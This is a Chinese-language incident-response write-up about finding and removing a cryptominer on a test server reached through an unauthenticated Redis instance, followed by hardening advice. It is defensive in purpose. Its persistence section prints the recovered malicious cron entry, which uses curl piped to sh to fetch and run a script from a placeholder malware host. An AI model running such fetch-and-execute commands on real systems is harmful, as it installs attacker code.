某天上午,运维群里有人说:“测试环境那台 Redis 机器,CPU 一直 100%,是不是又有人在跑压测?”没人认领。我看了一眼监控:CPU 曲线像被人拿尺子画的,一条笔直的 100% 横线,持续了三天,而且和业务流量毫无关系,半夜也一样高。
正常业务的 CPU 曲线有“呼吸感”,白天高、夜里低。一条不随时间起伏的满载直线,要么是死循环,要么是有人在拿你的机器“打工”。登上去一看,果然是后者。这篇是防御视角的应急响应记录,只讲怎么发现、怎么清理、怎么加固,不涉及任何入侵手法。
先说明立场:如果你的机器已经被入侵,最稳妥的做法是隔离后重装系统,重建凭据。下面的“清理”步骤是为了应急止血和溯源,不是“清理干净就万事大吉”。
一、现象:一个名字像猫踩键盘的进程
$ top -bn1 | head -10
top - 10:21:07 up 63 days, 4:12, 1 user, load average: 4.05, 4.02, 4.00
%Cpu(s): 99.7 us, 0.3 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2718 redis 20 0 2540212 1.9g 3040 S 397.0 12.3 5712:44 kdevtmpfsi
1123 redis 20 0 161232 9360 4520 S 0.3 0.1 3:02.19 redis-server几个疑点:
- 进程名
kdevtmpfsi:长得很像内核线程(真实的内核线程叫kdevtmpfs),是典型的“伪装成系统进程”的命名套路;这类挖矿木马常用与系统进程相似的名字,或者随机字符串名; - 运行用户是
redis,而不是 root——一个 Redis 进程的用户,去跑一个 CPU 400% 的东西,本身就不对; - TIME+ 累计 5712 分钟(约 95 小时),说明它已经跑了三四天,和监控曲线吻合;
- 4 核 397%:满载,不留余地。
第一原则:先保留证据,再动手。很多人上来就 kill -9,然后发现它 5 分钟后又活了,还把痕迹弄丢了。先取证。
二、排查路线图
三、动手:取证与排查
第 1 步:进程树,看它的“爹”是谁
$ ps -ef --forest | grep -B3 -A1 2718
root 1101 1 0 Sep26 ? 00:00:41 /usr/sbin/crond -n
redis 1123 1 0 Sep26 ? 00:03:02 /usr/local/bin/redis-server 0.0.0.0:6379
redis 2718 1 99 Sep26 ? 3-23:12:44 /tmp/kdevtmpfsi
$ ps -o pid,ppid,lstart,etime,user,cmd -p 2718
PID PPID STARTED ELAPSED USER CMD
2718 1 Fri Sep 26 04:12:33 2026 3-06:08:33 redis /tmp/kdevtmpfsi--forest 用树状展示父子关系。这里 PPID 是 1(被 init/systemd 收养,说明它的父进程早退出了或它已守护化),启动时间是 9 月 26 日凌晨 4 点 12 分——这个时间点很重要,后面查日志要用。命令路径 /tmp/kdevtmpfsi:正经服务不会把可执行文件放在 /tmp。
第 2 步:/proc/PID/exe,别信进程名,信本体
$ ls -l /proc/2718/exe
lrwxrwxrwx 1 redis redis 0 Sep 29 10:25 /proc/2718/exe -> /tmp/kdevtmpfsi
$ ls -l /proc/2718/cwd
lrwxrwxrwx 1 redis redis 0 Sep 29 10:25 /proc/2718/cwd -> /tmp
$ cat /proc/2718/cmdline | tr '\0' ' '; echo
/tmp/kdevtmpfsi
$ sha256sum /proc/2718/exe # 取哈希,留证据或到威胁情报平台查询
$ cp /proc/2718/exe /root/evidence/sample.bin # 备份样本(仅用于分析,切勿执行)proc 手册对 /proc/PID/exe 的说明:它是指向被执行命令实际路径的符号链接;如果磁盘上的原文件被删除了,链接目标会被追加 (deleted)。这正是很多木马的伎俩:启动后自己把二进制删掉,防止被发现。此时 ls -l /proc/PID/exe 会显示 ... (deleted),但内核仍持有着这个文件,你依然可以从 /proc/PID/exe 把它拷出来做分析(这个原理和本系列“df 说磁盘 100%,du 只用了一半”那篇里“被删文件仍被进程占用”是同一回事)。这次的样本还没被删,但值得记住这个套路。
第 3 步:看它连了谁
$ ss -tnp | grep 2718
ESTAB 0 0 10.0.1.15:51322 203.0.113.45:443 users:(("kdevtmpfsi",pid=2718,fd=5))
ESTAB 0 0 10.0.1.15:51398 203.0.113.45:443 users:(("kdevtmpfsi",pid=2718,fd=7))
# 没有 ss 时
$ netstat -antp | grep 2718
$ lsof -p 2718 -i一个 redis 用户下的 /tmp 进程,长期和一个陌生公网地址(示例地址 203.0.113.45,文档保留网段)的 443 端口保持连接——这是挖矿程序连接矿池的典型特征:矿池常用 3333/443/5555/14444 之类端口,很多程序会用 443 加 TLS 来伪装成普通 HTTPS。持续的、长时间的、小流量的外连,加上满载 CPU,基本可以定性。不要去访问该地址,只需记录,交给安全团队或直接在出口/安全组层面封禁。
第 4 步:找“它为什么会复活”——持久化排查
这是应急里最重要的一环。你 kill 掉进程它又活了,是因为有“拉起者”。按常见位置逐个查:
# 1) 定时任务:当前用户、redis 用户、root,以及系统级目录
$ crontab -l
$ sudo crontab -l -u redis
$ sudo ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null
$ ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
$ cat /etc/crontab
# 2) 最近被修改过的、可疑的文件(近 7 天,排除 /proc /sys)
$ sudo find /etc /var/spool /root /home /tmp /var/tmp -xdev -type f -mtime -7 2>/dev/null | head -50
# 3) SSH 公钥:陌生的 authorized_keys 是后门
$ ls -la /root/.ssh/ /home/*/.ssh/ 2>/dev/null
$ cat /root/.ssh/authorized_keys
# 4) systemd 服务与定时器
$ systemctl list-units --type=service --state=running | head -30
$ systemctl list-unit-files --state=enabled | head -40
$ systemctl list-timers --all
$ ls -lt /etc/systemd/system | head
# 5) 开机启动与 shell 启动脚本
$ cat /etc/rc.local; ls -la /etc/init.d
$ tail -5 /root/.bashrc /root/.bash_profile /etc/profile这次的发现(示例):
$ sudo cat /var/spool/cron/redis # 或 /etc/cron.d/ 下的陌生文件
*/5 * * * * curl -fsSL http://malware.demo.example.com/x.sh | sh
$ ls -la /tmp
-rwxr-xr-x 1 redis redis 3128884 Sep 26 04:12 kdevtmpfsi
-rwxr-xr-x 1 redis redis 412 Sep 26 04:12 x.sh每 5 分钟从一个陌生域名下载脚本并直接交给 sh 执行:这就是“拉起者”。它每 5 分钟检查一次矿工是否存活,不存在就重新下载运行。你只杀进程,它 5 分钟内必复活;你只删文件,它下一个 5 分钟又下载回来。正确的顺序是先删除拉起者(cron),再杀进程,再删文件,最后还要查是否有第二层持久化(authorized_keys、systemd 服务)。
说明一下:出现在 redis 用户的 crontab 里,并不是巧合,这暗示入口很可能是那个 Redis 服务本身,下面第 5 步来验证。
第 5 步:溯源,它是怎么进来的
入口通常就三四个(下面是你要去核查的暴露面,不是入侵教程):
| 常见暴露面 | 如何自查 |
|---|---|
| Redis 对公网开放且无密码 | ss -lntp | grep 6379 看监听是不是 0.0.0.0;redis-cli -h 127.0.0.1 config get requirepass 看是否空;config get dir / config get dbfilename 看是否被改成了 cron 之类的目录/文件名 |
| SSH 弱口令 / 允许 root 密码登录 | last、lastb、/var/log/secure(Debian 系为 /var/log/auth.log) |
| Docker API(2375)无 TLS 暴露 | ss -lntp | grep 2375;ps -ef | grep dockerd 里有没有 -H tcp://0.0.0.0:2375 |
| 其他未打补丁的 Web 应用/中间件 | 应用、Nginx 访问日志里的异常请求,与文件创建时间对齐 |
$ last -n 15 # 成功登录记录
$ sudo lastb | head -20 # 失败登录记录(需要 root),大量失败 = 被爆破
$ sudo grep -E 'Failed password|Accepted' /var/log/secure | tail -30
$ sudo grep 'Accepted' /var/log/secure | awk '{print $9, $11}' | sort | uniq -c | sort -rn | head
$ ss -lntp | grep -E '6379|2375|22'
LISTEN 0 511 0.0.0.0:6379 0.0.0.0:* users:(("redis-server",pid=1123,fd=6))
$ redis-cli config get requirepass
1) "requirepass"
2) ""
$ redis-cli config get dir
1) "dir"
2) "/var/spool/cron"这次的证据链闭合了:Redis 监听在 0.0.0.0:6379、没有密码,且 dir 被改成了 cron 目录;被落盘的 cron 文件,创建时间正是 9 月 26 日 04:12。Redis 官方安全文档里就直接警告过:Redis 是为“受信环境里的受信客户端”设计的,不应暴露到公网;且因为 CONFIG 命令可以改变工作目录和 dump 文件名,允许客户端把 RDB 文件写到任意路径,这可能导致系统被攻陷。Hunt.io 对一次涉及三千多台 Redis 服务器的挖矿僵尸网络的分析也印证:这类活动没有用什么新漏洞,就是扫描公网上无认证的 Redis,然后靠持久化去拉取挖矿程序,只重启 Redis 或杀掉可见的挖矿进程,如果恶意 cron 文件还在,入侵并没有被清除。
四、清理与止血(应急,不是终点)
- 隔离:先在安全组/防火墙上封掉该机器的出站到矿池 IP,并限制入站,只留你的运维出口 IP;有条件直接把机器从业务网络摘出来;
- 保全证据:进程列表、网络连接、样本文件、日志,打包备份(
tar czf到另一台机器); - 先清拉起者,再清进程:
$ sudo crontab -r -u redis # 删掉被篡改的 crontab(确认里面没有你的正常任务再删) $ sudo rm -f /etc/cron.d/<可疑文件> $ sudo kill -9 2718 $ sudo rm -f /tmp/kdevtmpfsi /tmp/x.sh $ sudo sed -i '/可疑公钥的注释或指纹/d' /root/.ssh/authorized_keys # 逐条核对,别整文件乱删 $ sudo systemctl disable --now <可疑服务>.service && sudo rm /etc/systemd/system/<可疑服务>.service - 确认 CPU 回落、无外连:
top、ss -tnp,观察至少一个 cron 周期(5~10 分钟)确认不再被拉起; - 换所有凭据:这台机器上出现过的密码、SSH 密钥、应用配置里的数据库密码、云 AK/SK、Redis 里可能存放的 token,一律视为已泄漏,全部轮换;
- 评估是否重装:木马可能已经替换了系统命令、加载了内核模块或留了我们没查到的后门。对生产机器,我的建议是重装系统,从干净镜像重建。测试机也别侥幸。
五、加固:把门关上
# === Redis(redis.conf)===
bind 10.0.1.15 127.0.0.1 # 只绑内网地址,不要 0.0.0.0
protected-mode yes # 官方默认;无密码且绑所有网卡时只允许回环访问
requirepass "请使用足够长的随机密码" # 或者用 ACL 建立最小权限用户(Redis 6+)
# 禁用或改名危险命令(官方标注该方式已弃用,推荐用 ACL 限制命令)
rename-command CONFIG ""
# 且:Redis 用低权限用户运行,不要 root;安全组只放行应用服务器
# === SSH(/etc/ssh/sshd_config)===
PermitRootLogin no
PasswordAuthentication no # 只允许密钥登录(先确认你的公钥已放好,别把自己锁外面)
# Port 22 改端口只能减少扫描噪音,不是真正的安全措施
$ sudo systemctl reload sshd
# === fail2ban:自动封禁爆破 IP ===
$ sudo yum install -y fail2ban # 或 apt install fail2ban
# /etc/fail2ban/jail.local
[sshd]
enabled = true
maxretry = 5
findtime = 10m
bantime = 1h
# === Docker ===
# 不要把 dockerd 的 TCP 端口 2375 无 TLS 暴露;需要远程访问时用 SSH 隧道,或配置 TLS 双向认证(2376)Docker 官方文档说得很直白:暴露 Docker 守护进程而不加保护,等于任何拿到访问权的人都可以向它下达任意指令,相当于拿到宿主机的 root;推荐用 SSH 或 TLS 双向认证来保护远程访问。
网络层面的原则是“默认拒绝,按需放行”:云上安全组只开必要端口(80/443),数据库、缓存、消息队列这些“内部组件”一律不给公网入站;管理端口(SSH)只对堡垒机或办公出口 IP 开放。监控上,给“CPU 长时间满载且与流量无关”“出站连接到陌生 IP”“/tmp 下有可执行文件在运行”加上告警,早发现一天,损失少一天。
六、复盘
| 做法 | 为什么 |
|---|---|
| CPU 满载且曲线是平直线、与流量无关,先怀疑“外人在用你的机器” | 正常业务的负载有峰谷,恒定满载多是死循环或木马 |
看 ls -l /proc/PID/exe 与 cwd,不信进程名 | 进程名可以伪装,本体路径和 (deleted) 标记更可靠 |
| 先清持久化(cron/ssh key/systemd),再杀进程 | 否则拉起者会在几分钟内让它复活 |
ss -tnp 看外连,安全组封禁出站 | 断掉矿池连接,就没有“收益”,也减少继续被利用 |
| last / lastb / secure 与文件创建时间对齐 | 用时间线还原入口,找到才能堵住 |
| Redis:绑内网 + 密码 + 低权限用户 + 安全组;SSH:密钥登录 + fail2ban | 把常见入口一次性收窄,纵深防御 |
| 凭据全部轮换,生产机重装 | 无法证明“清理干净”时,重建才是最省事的安全 |
一句话备忘:CPU 恒定满载 + 怪名进程 →
ps --forest//proc/PID/exe取证 →ss看外连 → cron、authorized_keys、systemd 找拉起者 → 先断网、清持久化、再杀进程 → 换凭据、封入口,能重装就重装。
这次事故的“学费”是一台测试机的电费加一晚上的睡眠。最后我把这台机器的安全组从“0.0.0.0/0 全放行”改成了“只放行我自己”,同时给每台机器贴了个便签:“凡是能被公网看见的端口,都在等一个善意的运维,或者不那么善意的扫描器。”
参考资料
- Redis security(官方文档):说明 Redis 应只在受信环境中被受信客户端访问、bind 与 protected mode、requirepass/ACL,以及 CONFIG 命令可改写工作目录和 dump 文件名带来的风险。
- Protect the Docker daemon socket(Docker 官方文档):暴露 Docker 守护进程的风险,以及使用 SSH 或 TLS 双向认证来保护远程访问的方法。
- proc_pid_exe(5) 手册:/proc/PID/exe 是指向实际可执行文件的符号链接,文件被删除后会追加 (deleted),依然可用来获取该进程的可执行文件。
- Hunt.io:Redis Cryptomining Botnet Compromised 3,562 Servers:对一起利用无认证 Redis 组建挖矿僵尸网络的公开分析,以及排查 cron 目录、systemd、/tmp 等持久化位置的建议(本文只借用其防御与检测结论)。
一起聊聊